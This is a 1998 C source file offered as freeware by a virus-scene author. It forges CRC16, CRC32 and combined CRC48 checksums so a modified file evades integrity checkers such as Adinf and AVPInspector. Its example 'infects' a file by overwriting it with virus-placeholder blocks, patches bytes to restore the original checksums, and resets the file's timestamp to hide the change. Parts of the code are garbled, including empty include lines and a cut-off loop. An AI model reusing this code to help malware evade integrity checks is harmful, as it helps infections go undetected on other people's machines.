// Title : How to fuck CRC16, CRC32, CRC48 for Adinf, AVPInspector, etc. // Status : Freeware // Author : Zhengxi // Compiler : Watcom C 10.0b // Target : Win32 console application // Libraries : Nothing // StartWork : 08.12.98 // LastChange : 10.12.98 #include #include #include #include #include #include #include #include #include #define MAGIC16 0xA001 #define MAGIC32 0xEDB88320 #ifdef __INLINE_FUNCTIONS__ unsigned long xcrc16( unsigned char *ptr, unsigned long size, unsigned long crc ); unsigned long rcrc16( unsigned char *ptr, unsigned long size, unsigned long crc ); unsigned long xcrc32( unsigned char *ptr, unsigned long size, unsigned long crc ); unsigned long rcrc32( unsigned char *ptr, unsigned long size, unsigned long crc ); #pragma aux xcrc16 = \ " jecxz @@4 "\ "@@1: xor al, [edx] "\ " inc edx "\ " mov bl, 8 "\ "@@2: shr eax, 1 "\ " jnc @@3 "\ " xor ax, 0xA001 "\ "@@3: dec bl "\ " jnz @@2 "\ " loop @@1 "\ "@@4: " parm [edx][ecx][eax] value [eax] modify [ebx]; #pragma aux rcrc16 = \ " jecxz @@4 "\ "@@1: xor ah, [edx][ecx-1] "\ " mov bl, 8 "\ "@@2: shl ax, 1 "\ " jnc @@3 "\ " xor ax, 0x4003 "\ "@@3: dec bl "\ " jnz @@2 "\ " loop @@1 "\ "@@4: " parm [edx][ecx][eax] value [eax] modify [ebx]; #pragma aux xcrc32 = \ " jecxz @@4 "\ " not eax "\ "@@1: xor al, [edx] "\ " inc edx "\ " mov bl, 8 "\ "@@2: shr eax, 1 "\ " jnc @@3 "\ " xor eax, 0xEDB88320 "\ "@@3: dec bl "\ " jnz @@2 "\ " loop @@1 "\ " not eax "\ "@@4: " parm [edx][ecx][eax] value [eax] modify [ebx]; #pragma aux rcrc32 = \ " jecxz @@4 "\ " not eax "\ "@@1: movzx ebx, [edx][ecx-1] "\ " shl ebx, 24 "\ " xor eax, ebx "\ " mov bl, 8 "\ "@@2: shl eax, 1 "\ " jnc @@3 "\ " xor eax, 0xDB710641 "\ "@@3: dec bl "\ " jnz @@2 "\ " loop @@1 "\ " not eax "\ "@@4: " parm [edx][ecx][eax] value [eax] modify [ebx]; #else // __INLINE_FUNCTIONS__ unsigned long xcrc16( unsigned char *ptr, unsigned long size, unsigned long crc ) { while(size-- != 0) { unsigned long i; unsigned long c=*ptr++; for( i=0; i<8; i++) { if( (crc^c)&1 ) crc = (crc>>1) ^ MAGIC16; else crc = (crc>>1); c>>=1; } } return crc & 0x0000FFFF; } unsigned long rcrc16( unsigned char *ptr, unsigned long size, unsigned long crc ) { while(size-- != 0) { unsigned long i; unsigned long c=ptr[size]<<8; for( i=0; i<8; i++) { if( (crc^c)&0x8000 ) crc = (crc<<1) ^ ((MAGIC16<<1)^1); else crc = (crc<<1); c<<=1; } } return crc & 0x0000FFFF; } unsigned long xcrc32( unsigned char *ptr, unsigned long size, unsigned long crc ) { crc = ~crc; while(size-- != 0) { unsigned long i; unsigned long c = *ptr++; for( i=0; i<8; i++) { if (((crc^c)&1)!=0) crc = (crc>>1) ^ MAGIC32; else crc = (crc>>1); c>>=1; } } return ~crc; } unsigned long rcrc32( unsigned char *ptr, unsigned long size, unsigned long crc ) { crc = ~crc; while(size-- != 0) { unsigned long i; unsigned long c = ptr[size]<<24; for( i=0; i<8; i++) { if (((crc^c)&0x80000000)!=0) crc = (crc<<1) ^ ((MAGIC32<<1)^1); else crc = (crc<<1); c<<=1; } } return ~crc; } #endif // __INLINE_FUNCTIONS__ void fuckcrc16( unsigned char *ptr, unsigned long size, unsigned long offset, unsigned long wantcrc, unsigned long crc ) { *(unsigned short*)(ptr+offset) = xcrc16( ptr, offset, crc ) ^ rcrc16( ptr+2+offset, size-(2+offset), rcrc16( (void*)&wantcrc, 2, 0 ); } void fuckcrc32( unsigned char *ptr, unsigned long size, unsigned long offset, unsigned long wantcrc, unsigned long crc ) { *(unsigned long*)(ptr+offset) = xcrc32( ptr, offset, crc ) ^ rcrc32( ptr+4+offset, size-(4+offset), rcrc32( (void*)&wantcrc, 4, 0 ); } void fuckcrc48( unsigned char *ptr, unsigned long size, unsigned long offset, unsigned long wantcrc16, unsigned long wantcrc32, unsigned long crc16, unsigned long crc32 ) { unsigned i; crc16 = xcrc16( ptr, offset, crc16 ); crc32 = xcrc32( ptr, offset, crc32 ); ptr+=offset; for( i=size-1-offset; i>=6; i--) wantcrc16 = rcrc16( "\x00", 1, wantcrc16 ) ^ ptr[i]; wantcrc32 = rcrc32( ptr+6, size-(6+offset), rcrc32( (void*)&wantcrc32, 4, 0 ) ); for( *(unsigned short*)ptr=0; ; (*(unsigned short*)ptr)++ ) { *(unsigned long*)(ptr+2) = wantcrc32 ^ xcrc32( ptr, 2, crc32 ); if( xcrc16( ptr, 6, crc16 )==wantcrc16 ) break; } } //--example------------------------------------------------------------- #define FUCK16 #define FUCK32 #define VERIFY void printcrcs( char*ptr, int len ) { printf("CRC16=%.4X CRC32=%.8X\n", xcrc16(ptr,len,0), xcrc32(ptr,len,0) ); } unsigned char* infect( unsigned char* original, unsigned long size ) { unsigned long i; unsigned char* infected = malloc( size ); assert( infected ); memcpy( infected, original, size ); memcpy( infected, "(---------jmp-to-virus---------)", 0x20 ); memcpy( infected+size-0x80, "(----------virus-body---------->", 0x20 ); for( i=size-0x60; i0 ); printf( " Filename : %s\n", argv[1] ); size = filelength( handle ); original = malloc( size ); assert( original ); read( handle, original, size ); close( handle ); } do offset = rand(); while( 0x20>offset || offset>size-0x86 ); printf( " Filesize : %d bytes\n", size ); printf( " Patch offset : %d\n", offset ); crc16 = xcrc16( original, size, 0 ); crc32 = xcrc32( original, size, 0 ); printf( " Original file : CRC16=%.4X CRC32=%.8X\n", crc16, crc32 ); infected = infect( original, size ); #if defined(VERIFY) printf(" Infected file 1 : "); printcrcs( infected, size ); #endif // VERIFY // restore crc #if defined(FUCK16) && defined(FUCK32) fuckcrc48( infected, size, offset, crc16, crc32, 0, 0 ); #elif defined(FUCK16) fuckcrc16( infected, size, offset, crc16, 0 ); #elif defined(FUCK32) fuckcrc32( infected, size, offset, crc32, 0 ); #else # error #endif #if defined(VERIFY) printf(" Infected file 2 : "); printcrcs( infected, size ); #if defined(FUCK16) assert( crc16 == xcrc16( original, size, 0 ) ); #endif // FUCK16 #if defined(FUCK32) assert( crc32 == xcrc32( original, size, 0 ) ); #endif // FUCK32 #endif // VERIFY if( argc!=1 ) { unsigned short ftime, fdate; int handle = open( argv[1], O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP ); assert( handle>0 ); _dos_getftime( handle, &fdate, &ftime ); write( handle, infected, size ); _dos_setftime( handle, fdate, ftime ); close( handle ); } free( infected ); free( original ); }